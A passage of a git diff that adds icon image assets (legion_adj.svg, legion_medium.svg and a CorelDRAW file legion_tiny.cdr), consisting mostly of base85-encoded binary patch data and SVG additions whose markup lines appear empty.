zb(`A)L~IlBPn>$1iE(?kVLsdxo6;iMK@bv2qzuhy^?A}?p9?v`ty0#lEUYIN(M5qh za}*$6z4F8Mk`t%5qL{pj!(cZB>leAluf+%N2yDaK$R=uV*Hw^&=`25{9$3KBtO5I^s5ZF^>on; zHL_1jXZB~S8Ag4<6xnPwYN~eLLi^YEu|fwuK*{H)Xwx7?7T3jhe2&D$Ra)4Uv`1+K zD*wRueF4Mqu)Tu+GYiM&n;Z3W&c&oYsloI`3H5>NJEvG)JFCZ}Uq z80$$g?retMxpxM7#d-Tujki?OMwOr80lf4!snD6}I{2r+Fo$Hw%JM@#<@B?SKYHa5LZ zmX6*HWIQ{q;>j)eA&0$sn+jI|jrZkR<5Qd**voG?&!=|5#O5ZlahlBWk*y$jW*k0m z(tpd4%4F+qev=%)SczC#8_H%|hVu{7?QXsAEY$mR=#TIgD?Do4O?BYdRzO>HEX`eS zch3Cc;&`w+9I4-_Ij^TP|72|g!+3Fi!WlHOzPYoA@FoT3`&Bx$687%R`)Le4?IyIJ zO!i#hZ+F=k-qE^OiWLd$%G>{VCrQ{c;|49JL;cRQgs4F+pO&2QJ6&X@)`|A5Wn9-K~L)YW1FyD@Km4gp0PDU=WC<#!hHk6@zV|-1wa_7$mKCeyu={(GAkOP|7k!S zSU-}xf2g+1?BT&G#)RppHAx)Elu6?VmwOVLnnx6?ZDs#q?f;f%uygl8r*nEPJ#J!9 zkc82Jfzq4in>^{bv*w??ZYwWua=*(D>WCX$6nJh1CN@!Akm9Fh_!^@CfrCu#ZdGY*VAE^ zLK6hss<~zk~5p>#wMO;=pr)^1vDW3&W_&Oj~}NACx<`(=q%P!@HB7HAw0w`=mfj>qFu% z97}?G;bNX5_>?Y^6Tf3nXCx6zqC|dfVl@A+v$qba zV+$I6ad&rjx8Uv)+}+*XA-Dz)5Zv9}-8I48VdEBp%j2B$?spU3yZ>CO*6P|*#r&pw zR_)!>)2sUigvcPO&_^{c-u)3r@wC1rH!f2T`6S^c$L~RB;Ne`WW(?V;lv==ZzRQ)< z*4?gU-|c0p`pNMWn8xs^fBGnuy#)e~tDhKyxHRJ)K4CBE*%U)NAxkmCm3um{Bd$sQ zS}BxI<+M9Al=LPw*5FAV)3mhjbF?;H>G1S)C36r>;;?n7fe9N?mRgH)eJfMzh(3KY z^xax3uZjV~Y;(0Mbkh>QPLuFS3@~v8$H{SODji=C7$XyB4*b&+xkm9F6LynmU`Q1c zOxZduk{F{M7=o9^YQRAM&_o9KM(>xe4``Di%v;A=m;!;ojeyNFCIP?H5=@aawav(| zl-d@yP2~$}tQriknlz*tODE&da7FS7Fw4J}b9{6x;;zGHj8OIjQM#l% zpiKoP1Ynaq&5;@DeLf#_tTW|^uV4S#XGiTIt#|(niE2|o1l~R=KkmZmUY289kb)=J z&?b8f*AU>5B&HoYEIvVBOvp*`HDbs|g&^yjdgyt#7I~}B@1zovD6AZAhcnD^th;)3 zgAn&0UnWS7^L_v&>iMkzK=wMjd+ahP9s-+qH~ZM@z{2}nxplt;k1(F_yy_8#02fAe z_d-{VH{cq(N)};m5*R7)8h4u~Wd?xJ*f4r}VVVi6+dh{v^HN`OP`6;zdyp>hNWr?v z+)Pg;S0Tv1gfux+JJBMejo5pxTAIr14Z^4(lJ_Rt8D4mCle)2Mz~}TV=zslnwYdzO zvy#|;3_%7@Yxga00PKgv#R__fk*s9>c1LptFs#4w>>Z$+OE6fviTkz@70cAcIOeFg zK$L2r6F?PuPbttoG>fql0jzlPws?dJdTAmBt=(QiCEu>(O>T^X}%>Sp*v%!lENcd;ccf$h}+BAU*sJT%jGYNXwSAb-F!!;60t}#BfyLx~0X(vygq; zmPC|XmE+i2HrwU3zPJ{}_>1OTntrF|`7||bzbNAh`Ko`hJILJ{R^VfXBtnGQNH+V~ z-947!G;(7HBM_aKIkhr*x?nBoE+-*76Xvuv;j@@5(oph)Yb_%eknJXUQ~CMpFx&+Z z7fTFA^MamX@75qOT+vwioE~`>nWGYvRu_#uWT62E^o;w^2~Vzi$-v`WhNAKUIZ; zx>FDaX`)P&IRtNCfzjQDs07DLW}ACKq>C8;7;$nu$aA?yZ%n$0q*h)RwiFe z?R}c)+Z3_85fu&0o8|nrE)AOPdVw>5+?FllIv~*EbT6Fqn#rOfb61o@ZIA5WH80?h zR(pdcSe-nJG3Re_VmoFSkiVtDkyP=e5{nejLvoq06;<5~ur?G7=10ZnZoUIvy>S}_ z<;&H^p;uSGwQ#U;;)l5Rk}e}& zRwK)-HUuhCkJza-zFyy8x>6Qr|Ax}3$8?Yl(w+@ms=-p?pU)#Pfh5k5iNy1YUy9r~u*_{ntVNPJ({u%=<2j;TwrN=!ea zt}!byZ@BeDZmUyU26ZfHSKn!*mR((~wjfLoTJa)s#|UJ?T5h*zL2=*K`$V`;()743 z9vqkA0j^P4uiV=dQc(dfrvCmr{K(!{ix91p!_jEf4YXws6k-Yl1e;8=ih%?BO+3&< zuRQ3!EhP0-{1!^Y+NuG0?k+dH%bY6Uz!%WM11{j;LUJhZTrgTTg?Hja*&i$Yl z@yoj4<@o+JvC_MK4=rodi#WkRYquEIgeZjxk>-u~YAxNKz0$i@2&r!)HsDiJ3wJ#n zcWKC=3bxs$XA+UiA*ODG1qj$)?6Wb@S4@KT-c-+r4q!MW! zM*~v+Ugy=%LU^?57!FjMwK&^wUcA zf)ap^vy=*rb};}&l$!t&8lAJ&3$sNM$+=KpU!PY|ce^{WanSIlHemuZO5I7`^p46o zogOn)jYvRBv4(}02eO~vRq!-Ao#v8V9!1=Ape)r3Kt7&PnnkI8rZe4erC-oTDxypC z>FiQ>9>{&nnP6iH&PmHt%sJ-vT%&y>NFaeOHqxk#;`3YiR1gqn7jW-fLIRA*PeVr8 zE+=MW@19Bb;UB;9qzQD4MogECgIi6&>vF1TiPF2O&m_t04rPtotdleinHdCHoQJDq zdXm$4wcC3Gs=6||2leH_H1axim}4S-I#+!ou#(5)BlJa0D*bGV8XBbSASCm6(LLc4 z!7k%#epX)n3D$qL z9QupBRB5U2deRyk8%`YmxApt}sV;7=WG7GR8F7;cZi^0db=j|?E_ehEE~|^aiPvqF zEx@fww;fDt%z2Ff-PjcC%~>$cmO_E;8Y9n$M}g6+jb*2D zA5wk@)(5c58t7%1ly7IHLSe-)P76!!_LW${r45VnbJ6 z){%+HqN!o;!GB7CJ01bP2$i$1JGWzjcQz>@aHFT{>|2sB2>C06`(6}G_GkHQIr+@b z(mNaKyBq4Ezriclp=oLfTcMOSghMnaH^JQVFb>E>LJOWR#$h^2`tj-EZ2axhd=fbx zDa>_McT+Q85=i#X}XFJy%YGA#^#@0k5^4uu>{S@r%E+RJ0h zD8s}#krCZb z;&7MAr7mZ0KC2i`^E#D`J=75RA~p;T=yPLS%)N>)Ex7ON9qAonz2?H`Vk8@ z#CI5iXL|+ZskuPj?>me}X-wRF^vNNGVL)ft65S;%KHRT@V%hO+_s09exvOzML>mb- z7BAc{&mY|Un`m|i;~5>`Knpq}Rc=LfvWB7*M>ce;99DR&8;%!gV{LWS0@knS_gLEF zR0J6_HYmNIo60NU{CiC8H<`~;DUuY~yrI8kGH>qz2N9>h6^a|y6uFg;dK{vBYC-Xk zwdhx49_r-08Mm41d&HM`KA^fU8nWFa>)3M2vJx@wqy8ZcDw+##dAeO3W2Q4-?S%oB z!17;t;KK=y2KuA<4-Nx=YD=YuL1&PPAr+Jz`wv%}K5^X)Y&z3QOfQfpLu)knP}#1M zdK1IB=yYb7B$HIh&{Efm-7-SZi7`T|*?5GqUk(GlCW-tIUnml$`abQtAG|x}=`r1* z3TeOX+?A@VK#RidB(_*|G%7s$z36P}>?d-{p3k+8@DRGUHT%e#unZMbie!if6Ml<% z6xkfl0nE2ARG!a1XFh0}@cP_*@`}>7hw8Qtsg*0ZO`YcHk4CG_pJ-RYM=cFjO{ob# z!Go$$QF)1y7{Tms77dsTmwNCOVlKptX_{@$F*j)6mo4PgKq5ddT3(L=+wOW_q-zio zSUxUQGiyAJ-ZZv};19LDH$!~;v7wnTe$#XXyXYAs0A=yniWmmbSna^gE@?qh-bClB1KV2m5 z>jKab2C08Ks9yw+XXrgS-x9PGrQ?n<|^(|me zby^8k+B~Mj_-w2sG}wz;bC>Y3v;7_ua2Y3S$ca^+hC^XI8FskiQZ$<_>6<4BEnWsxSy>kB^?#j<;RNXfZ#wCxWQ9&slO=d&nT%92+Q13EheB!5aL!Cq zz??+9q!M2T2Bq8{NAVm9KgmJo^icrcP!KkJ(Q_w5(x@3c1-Cw0QqsVoZRCQN|+c|FswRpfKnOK1jmbf0MQ!N*ouTJ<|{rKGnT*Ubv*8n@|p z4`93#`@T<^yoEweO=bO-yhx@)1A6i+bWFn+O;L&6FvI@-*7~57%8E@3kV)brf%7=G z^)_H%k!((Qa(?D`xWFFB0!Kb1cDV7H(u|e*=46z5y7fgjE6H#kjWLTuKHR6O{fjPq zc55iU?9rJ@{5ZUfUpN0XFjicG;G5p&#+0(P%eTR~`H(l%zJk2K?^Mf|wjnDjYa4O! za#5AI2stjM5>V}$&A3lcSK{oJS{?zy6+uUW0@+{m(FVbx+6$+DJ3XNF^%I0jxH21x z@|`#IWu!HA3*7kIh2S0$gMR;6T->&+Kyhlv>LF;pKd5f5Adq-VK|TN;Hv6kZNhqMB zY+1c!q<@TgFk65`D*W(M2NeIHBR8}SA-@s1#0_vsZ?H~PPaqeMHFMf`wY$rV3-?Bk z6aB1UGMnC?p9Tau?25*SH}$Pcbg0hkW)MkH3zB$XTa|o!Z*bpOr=k(SjGzQ7(cDIT z#|ma|m8TCCa0u;FXdY>(XqxqjYeconso=;mKg+3uQL`xcKrg9Ic03#P&Q`+pJ!j+U zGi?yVc_B2qd8W8WR4j+M{KT|Gs{ACeKTt>D^>JI3EMmFf&% zYeeC91`g@B4u+N+!)nkR=VH()hM=Co&OY_y@{lb|CS~%foIl=p^zd3@0;pv8M75qG zp{wpiOk<~Mm8g^PM{y;7M%g_bMwNXf1_0qpheGc5tD|U0TYwqIYwgjd!?##yJ9JZg zif0{TAhb`FPniqbVhJbN`5nYx8G9AfIMY%AzUP!KiDenD&`-_zZ6L<8Mk9?oV8HL` z6isQ5CNZlemb=#l(#&MBFLyCv(x4!vq~ms($dnB&&!6`nH+h^KPT7fAM`UF2b-oeW ztkM!yp7y}hzC;%C&aV*Wp#9jWGln$}yr9eim(uTw{hH7cdq2HqUG$SDE zu{5H{`?!Krs+1pC9bQB=4-Ow@04pvOMN8IgI^Mjwh@nhN+nXFt@;4q*GUhx$An!VS zU%(spvo74|3ZezLvPw3o2+@8gGt)!Zw@?eXd&tK3{!eNrjkx>IB`gX~wS7SOoG4P$ zi)HNUXhnb(s^p(?{I!bBB3p2K=wVeoMhMX<~mV$DEqhS+?&56x6A?yg-sTG?*i|ObcCGXQh(OX z)sA9@zc_{+dx<2jI$)E%8TK7Uw=Q&7ffANVOtW%8B!8MoG$hrWIg3&smoCuvw9q)u z?3@x~vJ7*!&`X5a-NsyLrMm>$0*o5Nhgfly*SrD$ops}zZ{!#7o^A8^J`mrBvAvDG z6XU-#gNLn+X$&($9}}FIJK0nMtcD&75UB7N{LGvRFh@LI(BT;|d5$pU_=Ug&uFU}* z)UO&YYQ6^B;WgBJ{9@Wva3G0N$_Pu&j?;p}@XjHgNjW?zatNk3wf3vZrKg?H^Eq8A z3!!hg0S~6CrDwF}(B%!N0^hd2^Ix8}cFe2JZSvNU8QTqwbihDBgYN~Z(BH3C zR!l{RUP?}!(Z$rm#nR5q{-109mN01-!~{2d!7G-O*&AZHA{Zd8J+Is-t9u6o!8-&2 z9OCk$S>FQr7;?S=FOSpz$(*M))!nq$Px6x|xyU&;>y#vgYT7v6-bH%hOV2WIohYV@ zscwR}8Hfq03-NG6BsCM@701JbxjtB0An>;lR|_`nUbfaEu;6NwocDr~( zXVX>%fjd8XPv{89mrl(7;F&jv~+^&SI#BZCCeEiJpNNbHyP;fNfOgZyqnGuY5= zmS0f2g5nE|f18&mE7<$;-KN>l-f{)lY;JdI9@H zIN)qNCz>Bu5T`qmizdxDPJn9N9x#wJK=<-6?-#FYfsKW>X`bOpshib?@qBD({VSiL>)!2xGS7esbD+$w8jRwt${zP=Z0)5OG3DS#28ab=Ahy$YR${m#5nZ|8P zx1=M}!>j7MifDWuNpN!pF_+pK`}^)V#`lFy4%WuF!n-$0rswjzPq{lQv*VR~2Ypmn zG7E%sHcSdZYS;)Ym9*d}6O|d1c*0of4{&i&rwl0foM6Y^Z1*-d5nSz;quYIpbW6@A zR@%5XIS&X$`4Dy7{`T^1TXj2I^S>=bK8F?-4G9F)E%cv-oLxL^Or06uP2_6(UU!Yb z*u>fSOh;dNl@rMypltH|nY$L1XSB0WLF=IJ2k?rXxAUx`4cEf9IPhLnK2ryIKn@ehx@8wXxQ_tfbrc1yyK-GbR0Q7bbuOW0c}{FGo53w)bB2_=`RW z%mEr5sAd~@3;z(@Oc2nIU*rzRS+J#a=+oFY&>{8@Y~uLUD6^rQM)p)XsA-qkHr+yPa3lAO^v-3QhmJGAH5vvD~aK6_Whd@UHvBGVLZ zi8!WwX-#zGj>g{Zp@WJDxdWk%#gt#zD5RJxaz zs|t~9_SphOXgwIN4fp_i#0Q_077^ni^NPRq6i)x9tS+zm==OwD#Pbj)&lAbnm4@{R zZ1|26E#Sw9gq?Kq<24sdT=j@ehVJKVy8EIA%a@r;$WNC~U%Eh$z1t{i2rNLJLM-im zf>8o87e!B{y;v{T7*v`S3*Edrj!TRDyb55X)%4WG=I0exs|xD0%J7h|z*84-(Tv=6 zQOcBDCV^ZdAPdvV&qsZZZ-}{OPBq?~8l$TWJ#J1r)(ttI zbr18WE3S~~$_tB0^0HRDDQOl!8q-AlSv_fUk*Ebv*P3C?s*V0EF=5jT@1MTBkeb6^ z|3Zw)J3Mg<+$PIDv$!t1YGV|( z)x11#F8jj_^)6E0mR%76+Ov)*ELar`F&9ydI6V*>PCuwnX`!0QDBeiYZbKF7u-!(% zE4bJCmK}^?kJnf~KA!+BY!5R-+*6?<0mvd|5>)u7`ndW|OOP4xzAwmSV_$1sHI63UM~mP%Is(}fs=B4- z&qF$B(5egSM+6>7zrtW}&1zyPMLAio=~4Xd4|Bz<8KJ7->q2iQ6L;O%pC9bqr8gmo zbrG?@UDM!1HcI6_GGIu_dcLeYiD55FtKZM;d7avS&^wF%zTV9kO>o#W+A17$t(DdS zRE|D-EewiwVW*2w581W?(_!w|g`s=0F6n9wn3XdHe{N8Qb{y`CJdw8}kpbftW{WK3 zJ}8w%0e)=SzcEGpx>QPdK?pvNfHT7qG2cNpPGBY6Q6eS}lsQcP&25TI(aWRhAzZ4E zJa$c>@N~W)$=92=&0YE-AYE$UQZn}b)(a99v~xQi-7?Uc#j9+^)p^{I`>M4GWLZeS zh-BKklXrBhfI<-q$4E*K70_909aE5(WdB?DO7BxT0;P zRXX*m*_brzezdTICs4BE@*BFB(RyiV{f-giZa9uSb%ey|wV=tcYy5F|LP!(SlCLsl zD!Esb$q3H%7TQPD$lr@=Z~X*h1STENns?C7bi3FgGV_L*~j8u z_ujS`j&C&&!?$w?d9OKCb7*8X(YsfZr8quqBC@T&F5a%a`lKXa?hIvV+aXHI19b-9 zG!O5%9||y(;%2`*PZg!Ow{@c7lWH*zKr7Z3V>d6;d%lftQUQ4MevOLicK=vDNlCUf zFT0-c)PMHrd4Lk@uz4(}(e}AB-e-8v5G(c@>K5&2EMS6>#OgL}CR2fz#;S%)Kr^I+ zR@%ZkS&Voa4lL<$f)*aZdiLprB4-k^$#Q8h0K<~6HS@3`#8<59lpKOcUi#ttOST-~3dC>ST~F!~o0Ji0<1*NM5hgqDQ5h zFd=mGHy0nZ$Cl}38|4(z!GQ?wiC`C^7lPt}>HQy9SGvLsZBR zvzRVPE~lrDcw;A=(%?h`=E%h>%dMTh0(3yKA+NBrdr;~W5~Rn0%Fw_#f{2(9g#3~g z#VCMAQ^O;9+q{O`jH(!bS#-cn)IMcyYQ1+Wn7W4C&p&K@ziGWJx7h$`HtyNDYB%n- z3Oak<+T?4Usi9_B6lY)Vi!VFe$V2nhNK+)S^@*Bf{x%f`{5-O*a+*&dMg--a+3FQc6BT#`g3Fy5OBAw~v$J@!4 z?ls14Z5&Olr$TPv_`wR4hqpoG2|6%E33#)mPiW+8u^`WEuVkj+YQx-9NFX3Mp^a#VQwo2b!j zj@@^Q0OgYyWPv%#Z&uv8Sg}d=l9yb+z7xVsmtMj7U;0Kf7TOIiYM=D6*l(}7WWNM& z7W#l5`KnM-w$0uK0t4%AFEMwQ5#MqGg zEXbDlCq*yn^=ZDYe;L`Q!}Fb%=&nRyG(&X9>;xoV8AJQ;?#AX3g)r8sIWrRjrScGs01(f}CbdwmV#f zPa&USJ#X)jysBM;M}vP83Ehh$ZF*$7wX<5Jj40(x_zmuuRfL$)@VR~7vO=~@@X#H$ z>@#j(wEF#cmR!p!2X=LysvU6rfVoGBVXnHasgBjj1ag<|!&@59uR4!9;V9g%g7rLX zZ5}2s<_P^L0{N25!>vy1h%+WfdaD^YXenR=WiSSkA&@Br7P`onRcqpxApe>cog94* z=R^&`I-;)_ubPW+kJPyvHw04_cSvL`ZrnnT{6ZxZ`5Ceu(J@$hz_7&C8qyq0sdEfW z%MDJC_SC6_m7q5QbX6%00AlNL1ZkEZHz4f*8}F7JCq4#)Ad-2-nj~jQE5SXhejpL| z2`=r-7n&=wwj-x*ZNbFv7NI5M!N5cJKzY=M;#a^=-@-M-&MpmE zt~qQ0mb9TANyRYkUB$5+2d&mC!xGl4DDAGq)v1$g7|4CTZEb;ZGSdoHe<mi4^3gZ4Jc&|ck>S+3 zyB}Y4DF!DR=Fi%j)P3IKlw$}0n4kXoij?dM6?t;ZGy-VCS+RbK8<-JV7g9jY$D^mS zHlnhvyFGU~*xj;(ii8$5n-V4SGev=yvQ&T&LM5+#GdEVTnK?P18E#FK-N9}=C;{X5 z5McJ7eD)xnRVZ>&tpMHZMUQttNrKjmKh8m=z)+A&{pxyvxSDz)&s=u7^O%q}cw|^p z8HU-(J%`;rYF5wWH+xe7d1e7x52@4f3pSW!ws(jvbtE>x031Kd*%))2OVKhV>9+*t zOsAf3?D)(o`g_*j*@GQL{mIp zDn|t>1#4}oXG7wGJ7b*y;x(%oC{rwmNpWV{gcI4b83KRa3=>w`-K89FRq*V?h)h@u zXz5>ZROCImsDHIC za?=74B(O%lpJ5jUU%$WB;FUQfgtLRrYbaYRPy_q@c@!Zn{x#f(82Tt%@NNr#JEe3AQx3qY4^x* z&KaUJYuT#ISKDKM`dp~%xNW57hi`;q(p#$U{E2iFA6ncsBO^jtkOzO3hrV6qPIi!o z{_BTA?AT9E;T-QFlTYvCpWSQ!6PdEHw6k{p$FHcbtsa?Fq>`bhnVOicS7n)FRZxgQa~I-{Gi-VCp%FAyH4$ygs9htZg|3 zeepK)#Z`Q+wp}KuNP> zM@w=sMsZ0stPE5AhZ_nwGA9v^bzx>evxu5MPSRIJJdJOH)#gFxkPK}N5|{YP;g<+O z7lG9F{Y#VJS`nhVd6Vr}{5v6^OOL3%s30+w)X_iLj91@3!7Cp=AL@2TpP$`*Ta|kbykWf&bLEB-UmcAj)R0;CdJ}srp2M(}S zUw(;;dmI6!%82zgKaW1Unpm3cny977Y9;J;K5qqNIUmHZ#>RqlB!U)w^*4DS!U2{g zJs#HpJo z{qAp046_sxp8Gg)-2LjfdvXB$8b)C3V)1Hu=&ep&mi*BmDj4=5`nE3U1mS^Gp~Knp9A5~mNk zaqy4{73`1&=mJr1F-2FmqgT0LziZ-tgiL%x$-1azpSY^7_a{M|X>!F@$pcv!wV=z` zO+gAcNaS4Wdo2brtf-Y6F`K$xQ(1D$vn+vHMBasnDV==532;^J!`Yq>ysz~P8bV4O)lKGnluf! zFB?r(!zqT&Nt#ixs|~x$G76n&*t$F2=b7qn zr;4UsYT>Pk8ZPjw3VWWirWQAdq9oPORU z)*8a3^H&X%JX)Ex^U)l$R8M%-)l@I-XGLIQ$cW{47X|XHWJBaR{=1gTXX;DC?4Iz! zy+6;M-6APSw{%&YmM)=;-jifa#W>p&wudP#^j|1T~RpF*;Gb7K-{MMM+u8TvT}4G{M?tYcA?ZXW4R& zAGB@pq`$YYKf(z~Bp-Fl3ne76_sYRuFJb;f-Zh(4(irpGoJ)FQYr=lZhR%2yx+zG? z6!F~o&YXAa`yHx_imG0}OLfg;y`0#90wGYJuYrt92eZ(x9))Sp| zfLdQgk^JML{+!mKPxDv z_3C<^QlZvOVIsZ0J4@HHaG!*5pd(fHn3q>Ho*=8Iu9+SuB(%k@ss5H#pF&r;TQ?G8 zJHm@C&PIkikYC`6?Iu`ekQ9K|Gd-XaPYgMSJ3-!G>d8V;Y{*1Bs3!M6vH!k(MTW}u z6s*Y{ID15VWAVZ(#z}zVh_!ou!5p}w8?l9-X>K;9mq4I>Yg)f0rx@im$8 zxufhwi;`bO<{Dc&c*r;{EO_>6&~zc2uMFIiP7upb@VtTkCNU7t8iF6&gy2b0e>UUk z!B!iky5Zc|g1_!=^_4@>TcvE*g^fV{Jg9L*nPcVX2l86`E(-q7he0W}0@;4R_+!+; z8T(g)pcp%ANfz6Ok%Da3J>GT#FI&bdW!Sd-6kn&&7`OS%{Yi5_fydKAHZ;G_y(``R zJUGQ1u6U4=rb9~0H;1I96FAe-nxi5-D=BlD<6RPG^6JYZ`y5zL0bVXMP$T0)9Vnjr z*b=s*7m0aJ$MOP&2!;WBo@`H-8df*CDipE5#Oo!UBxCTh5VlD!z>-wiV2W1lM7>BN zh9HwH6ds9x7cR}_8-GVrH2Zn$|MN&@>U#Xy#}e;`P^W0O7hbF#Xzt`tcwGoKmFFm}*)~`dPS9 zf}(BsOLp&*8^Ph7Th^VB%J zJsiz`P3aALs3H8=9)tsK9wN;yM+p^cp~*3ci~I2>$!l@-l@N)2D2c1WA-s>YN zUMH~Nkb3{)xX3XVuHWNc$8S#|ZzVcx&U7kI{l#_LmwckvG1!X-)>j>8pY{^^56(%M~2|Lza}GoXOT-seC6Y%Sjde4Y-bFhE5A9tM8zl~jdD z)ElWd2mDd~?=%0`VX2~`T;=KgzpmcBZj`^yto(k|?A`5V{AW@zG_o=M$2I(uv3X4R zFXN;9$Z+_?Wp?m>w&`~U?q3YQ_alF~ptgq2E~ZWj?`$)tslx&RDZLN;zc@$l_s!JS$kc@K z-`T{{&YX!}%;UXrm5HgzKZQR2w4t0i`M);&C_mz46w{(#-W9liA83E!yovt5xQ`Sv zMCyMjALU2NOkMV&EGp1@L7b0DmA#iP`KT0wv!SiS`?4^0b#nV_@ezKZ{TKI9e#D(( zAg#}>f&wi%L%cWR`tx3~ygzJy#QkYDv)}&_KFW`TzZ;1CNnk?-`)f7)*-q?F5`_`d zzq)*sA4z{V7Wjw}3`So0^w zu=PJZKFW`J{GC$rCniw;f9dgeg2|s0@NxEkt@TlUr2L(h@h7Fg01W8=FG=J7hVu98 zqdzG|7Jr!R&zDJmVy>__{#E9q{HV;|p`<@CoeqCs{wJ{XCj-^|KgLJ-k@0sN=}!ik z;~$K_qDp^qSR4Q2e3TzKe}_~4S}Fhg1^p-$WWXWbe=y&_>HqTq KxP8FhKm9-1<6-## literal 0 HcmV?d00001 diff --git a/images/icons/legion_adj.svg b/images/icons/legion_adj.svg new file mode 100644 index 00000000..56e9bc7f --- /dev/null +++ b/images/icons/legion_adj.svg @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + diff --git a/images/icons/legion_medium.svg b/images/icons/legion_medium.svg new file mode 100644 index 00000000..90f58fa9 --- /dev/null +++ b/images/icons/legion_medium.svg @@ -0,0 +1,45 @@ + + + + + + + + + + + + + + + + + + + + + + + L + + + + + + + + + diff --git a/images/icons/legion_tiny.cdr b/images/icons/legion_tiny.cdr new file mode 100644 index 0000000000000000000000000000000000000000..c910cac29bc610c3f31f71951c9abadb92305d77 GIT binary patch literal 341241 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 